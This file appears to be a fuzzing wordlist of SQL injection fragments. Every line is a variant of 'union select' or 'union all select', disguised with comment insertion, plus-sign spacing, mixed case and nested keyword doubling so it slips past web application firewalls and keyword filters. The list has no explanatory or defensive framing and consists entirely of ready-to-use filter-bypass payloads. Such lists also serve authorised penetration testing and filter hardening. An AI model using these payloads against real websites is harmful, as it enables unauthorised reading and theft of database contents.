union select 
+union+select+
/**/union/**/select/**/
/**/UNunionION/**/SELselectECT/**/
/**//*UnIOn*//**//*SEleCt*//**/
/**//*U*//*n*//*I*//*O*//*n*//**//*S*//*E*//*l*//*e*//*C*//*t*//**/
 union all select 
+union+all+select+
/**/union/**/all/**/select/**/
/**/UNunionION/**/all/**/SELselectECT/**/
/**//*UnIOn*//**/all/**//*SEleCt*//**/
/**//*U*//*n*//*I*//*O*//*n*//**//*all*//**//*S*//*E*//*l*//*e*//*C*//*t*//**/